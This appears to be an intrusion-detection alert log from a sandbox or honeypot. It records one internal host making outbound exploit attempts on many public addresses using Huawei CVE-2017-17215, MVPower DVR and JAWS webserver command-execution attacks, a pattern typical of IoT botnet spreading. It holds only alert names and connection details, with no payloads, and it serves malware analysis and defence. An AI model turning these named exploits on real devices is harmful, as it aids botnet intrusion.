ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 80.104.124.102

Timestamp:	06/01/24-18:15:56.255441
SID:	2025883
Source Port:	50510
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.60.77.246

Timestamp:	06/01/24-18:15:56.306901
SID:	2835222
Source Port:	34652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 133.6.1.52

Timestamp:	06/01/24-18:15:56.246983
SID:	2030092
Source Port:	57912
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.42.167

Timestamp:	06/01/24-18:15:56.305908
SID:	2829579
Source Port:	43726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.85.240.37

Timestamp:	06/01/24-18:15:54.254997
SID:	2835222
Source Port:	40604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.189.243.5

Timestamp:	06/01/24-18:15:55.262143
SID:	2835222
Source Port:	35928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.113.148.202

Timestamp:	06/01/24-18:15:55.233750
SID:	2835222
Source Port:	34658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 106.16.15.220

Timestamp:	06/01/24-18:15:53.240081
SID:	2030092
Source Port:	33834
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.133.179.162

Timestamp:	06/01/24-18:15:53.240757
SID:	2030092
Source Port:	56784
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.196.70.199

Timestamp:	06/01/24-18:15:54.256369
SID:	2835222
Source Port:	51756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 196.44.130.154

Timestamp:	06/01/24-18:15:53.239929
SID:	2025883
Source Port:	36546
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.198.133.179

Timestamp:	06/01/24-18:15:54.251475
SID:	2835222
Source Port:	56050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.69.98.66

Timestamp:	06/01/24-18:15:53.246870
SID:	2030092
Source Port:	60716
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.218.44.219

Timestamp:	06/01/24-18:15:54.252766
SID:	2835222
Source Port:	55648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.77.116.122

Timestamp:	06/01/24-18:15:56.255297
SID:	2030092
Source Port:	51122
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.39.148.206

Timestamp:	06/01/24-18:15:54.255667
SID:	2835222
Source Port:	57142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 165.160.100.184

Timestamp:	06/01/24-18:15:56.245577
SID:	2030092
Source Port:	52106
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.137.161.29

Timestamp:	06/01/24-18:15:54.253117
SID:	2835222
Source Port:	51976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.44.205.135

Timestamp:	06/01/24-18:15:54.274187
SID:	2829579
Source Port:	35414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.132.195.236

Timestamp:	06/01/24-18:15:56.254886
SID:	2030092
Source Port:	59050
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 168.145.45.26

Timestamp:	06/01/24-18:15:56.254555
SID:	2030092
Source Port:	34994
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.159.67.38

Timestamp:	06/01/24-18:15:54.241927
SID:	2030092
Source Port:	52486
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.203.182.175

Timestamp:	06/01/24-18:15:54.239572
SID:	2030092
Source Port:	50710
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 201.6.73.207

Timestamp:	06/01/24-18:15:56.245225
SID:	2025883
Source Port:	45024
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.244.242.70

Timestamp:	06/01/24-18:15:54.237678
SID:	2030092
Source Port:	37034
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 49.81.200.207

Timestamp:	06/01/24-18:15:54.237774
SID:	2030092
Source Port:	60472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 134.10.23.167

Timestamp:	06/01/24-18:15:53.237649
SID:	2030092
Source Port:	45786
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.122.101.93

Timestamp:	06/01/24-18:15:54.252020
SID:	2835222
Source Port:	51288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.53.249.76

Timestamp:	06/01/24-18:15:54.252650
SID:	2829579
Source Port:	35458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.88.60.138

Timestamp:	06/01/24-18:15:54.256631
SID:	2835222
Source Port:	37794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.50.6.59

Timestamp:	06/01/24-18:15:55.267680
SID:	2030092
Source Port:	59680
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 188.248.176.49

Timestamp:	06/01/24-18:15:53.247144
SID:	2025883
Source Port:	44808
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.30.191

Timestamp:	06/01/24-18:15:54.275164
SID:	2835222
Source Port:	58472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.78.23.227

Timestamp:	06/01/24-18:15:56.305803
SID:	2835222
Source Port:	50172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.46.217.40

Timestamp:	06/01/24-18:15:56.307832
SID:	2835222
Source Port:	46636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 108.85.135.218

Timestamp:	06/01/24-18:15:53.239596
SID:	2025883
Source Port:	51050
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.239.209.224

Timestamp:	06/01/24-18:15:54.252809
SID:	2835222
Source Port:	53806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.174.153.53

Timestamp:	06/01/24-18:15:55.259864
SID:	2829579
Source Port:	38666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 169.128.130.40

Timestamp:	06/01/24-18:15:55.272625
SID:	2030092
Source Port:	34184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 103.40.87.16

Timestamp:	06/01/24-18:15:56.254930
SID:	2025883
Source Port:	55984
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.193.29.187

Timestamp:	06/01/24-18:15:55.261368
SID:	2829579
Source Port:	45138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.54.147.248

Timestamp:	06/01/24-18:15:56.246141
SID:	2030092
Source Port:	37370
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 73.230.71.26

Timestamp:	06/01/24-18:15:56.246254
SID:	2025883
Source Port:	32796
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.24.244.117

Timestamp:	06/01/24-18:15:54.256904
SID:	2829579
Source Port:	58434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.69.9.82

Timestamp:	06/01/24-18:15:54.273782
SID:	2829579
Source Port:	46148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.148.149.212

Timestamp:	06/01/24-18:15:56.307705
SID:	2835222
Source Port:	40474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 147.135.44.218

Timestamp:	06/01/24-18:15:54.238439
SID:	2025883
Source Port:	36208
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.147.35.71

Timestamp:	06/01/24-18:15:54.255075
SID:	2829579
Source Port:	39874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 85.180.164.31

Timestamp:	06/01/24-18:15:55.272495
SID:	2025883
Source Port:	45794
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.6.122.212

Timestamp:	06/01/24-18:15:56.246218
SID:	2030092
Source Port:	47938
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.91.191.231

Timestamp:	06/01/24-18:15:56.287840
SID:	2835222
Source Port:	54832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.169.240.113

Timestamp:	06/01/24-18:15:56.305703
SID:	2835222
Source Port:	60002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 177.237.184.162

Timestamp:	06/01/24-18:15:56.244111
SID:	2030092
Source Port:	53508
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.164.227.208

Timestamp:	06/01/24-18:15:54.251062
SID:	2829579
Source Port:	48658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.146.75.139

Timestamp:	06/01/24-18:15:55.260737
SID:	2835222
Source Port:	53226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.115.193.139

Timestamp:	06/01/24-18:15:55.261704
SID:	2835222
Source Port:	59268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.205.140.173

Timestamp:	06/01/24-18:15:56.307768
SID:	2835222
Source Port:	49984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 24.4.140.180

Timestamp:	06/01/24-18:15:53.241794
SID:	2025883
Source Port:	57298
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 112.217.71.237

Timestamp:	06/01/24-18:15:53.247238
SID:	2025883
Source Port:	43374
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.139.183.232

Timestamp:	06/01/24-18:15:54.252358
SID:	2835222
Source Port:	59700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.58.214.28

Timestamp:	06/01/24-18:15:54.252388
SID:	2829579
Source Port:	53196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 174.194.105.235

Timestamp:	06/01/24-18:15:53.238572
SID:	2030092
Source Port:	56756
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 98.220.77.102

Timestamp:	06/01/24-18:15:53.247074
SID:	2030092
Source Port:	45146
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.122.9.247

Timestamp:	06/01/24-18:15:54.274230
SID:	2829579
Source Port:	55148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.74.251.91

Timestamp:	06/01/24-18:15:54.254379
SID:	2829579
Source Port:	34226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.248.71.190

Timestamp:	06/01/24-18:15:55.260550
SID:	2835222
Source Port:	58116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 71.91.49.115

Timestamp:	06/01/24-18:15:55.266850
SID:	2030092
Source Port:	38112
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 195.190.120.96

Timestamp:	06/01/24-18:15:56.254790
SID:	2025883
Source Port:	39154
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.227.44.103

Timestamp:	06/01/24-18:15:55.259084
SID:	2835222
Source Port:	34116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.32.165.26

Timestamp:	06/01/24-18:15:55.261460
SID:	2835222
Source Port:	42000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.245.119.93

Timestamp:	06/01/24-18:15:55.267894
SID:	2030092
Source Port:	56332
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 123.28.179.254

Timestamp:	06/01/24-18:15:53.241729
SID:	2030092
Source Port:	34492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.182.240.81

Timestamp:	06/01/24-18:15:55.259125
SID:	2835222
Source Port:	53256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.23.22.23

Timestamp:	06/01/24-18:15:56.244458
SID:	2030092
Source Port:	46316
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 87.130.72.182

Timestamp:	06/01/24-18:15:53.241765
SID:	2025883
Source Port:	50824
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 145.92.78.73

Timestamp:	06/01/24-18:15:54.238811
SID:	2030092
Source Port:	56774
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 171.183.227.124

Timestamp:	06/01/24-18:15:55.265151
SID:	2030092
Source Port:	51248
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 39.154.44.113

Timestamp:	06/01/24-18:15:56.246558
SID:	2025883
Source Port:	40260
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.163.157.253

Timestamp:	06/01/24-18:15:55.260401
SID:	2835222
Source Port:	43740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 50.27.20.241

Timestamp:	06/01/24-18:15:54.238030
SID:	2025883
Source Port:	55740
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.247.195.212

Timestamp:	06/01/24-18:15:54.275349
SID:	2835222
Source Port:	44912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 31.70.83.31

Timestamp:	06/01/24-18:15:53.240154
SID:	2025883
Source Port:	39420
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 201.27.217.106

Timestamp:	06/01/24-18:15:55.265381
SID:	2030092
Source Port:	55890
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.37.164.26

Timestamp:	06/01/24-18:15:55.258740
SID:	2829579
Source Port:	49574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 96.101.32.166

Timestamp:	06/01/24-18:15:55.266672
SID:	2025883
Source Port:	56944
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.145.248.27

Timestamp:	06/01/24-18:15:54.253905
SID:	2835222
Source Port:	45198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.16.225.51

Timestamp:	06/01/24-18:15:55.259243
SID:	2835222
Source Port:	34126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.68.148.229

Timestamp:	06/01/24-18:15:54.252981
SID:	2829579
Source Port:	60494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.144.238.83

Timestamp:	06/01/24-18:15:55.262106
SID:	2829579
Source Port:	38672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.121.1.240

Timestamp:	06/01/24-18:15:53.240463
SID:	2030092
Source Port:	37714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.45.43.167

Timestamp:	06/01/24-18:15:55.267969
SID:	2030092
Source Port:	60874
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.230.149.194

Timestamp:	06/01/24-18:15:55.262860
SID:	2829579
Source Port:	37250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 119.233.198.220

Timestamp:	06/01/24-18:15:55.267641
SID:	2030092
Source Port:	48436
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 51.180.72.227

Timestamp:	06/01/24-18:15:53.241078
SID:	2025883
Source Port:	55216
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.231.220.22

Timestamp:	06/01/24-18:15:54.275510
SID:	2835222
Source Port:	38772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.97.177.91

Timestamp:	06/01/24-18:15:54.275830
SID:	2829579
Source Port:	40262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 117.221.193.160

Timestamp:	06/01/24-18:15:55.272091
SID:	2030092
Source Port:	33304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.27.121.67

Timestamp:	06/01/24-18:15:54.275098
SID:	2835222
Source Port:	49218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.44.98.223

Timestamp:	06/01/24-18:15:56.255251
SID:	2030092
Source Port:	47712
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.8.69.158

Timestamp:	06/01/24-18:15:56.307898
SID:	2829579
Source Port:	54184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.177.250.156

Timestamp:	06/01/24-18:15:55.261204
SID:	2835222
Source Port:	42426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 222.84.171.34

Timestamp:	06/01/24-18:15:53.239887
SID:	2025883
Source Port:	54180
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.24.234.239

Timestamp:	06/01/24-18:15:55.263691
SID:	2829579
Source Port:	57294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.148.143.218

Timestamp:	06/01/24-18:15:54.252700
SID:	2829579
Source Port:	47716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.132.76.122

Timestamp:	06/01/24-18:15:53.237931
SID:	2030092
Source Port:	44742
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.57.152.134

Timestamp:	06/01/24-18:15:55.268368
SID:	2030092
Source Port:	37426
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.169.149.73

Timestamp:	06/01/24-18:15:54.253358
SID:	2835222
Source Port:	52420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.222.141

Timestamp:	06/01/24-18:15:54.256311
SID:	2829579
Source Port:	32974
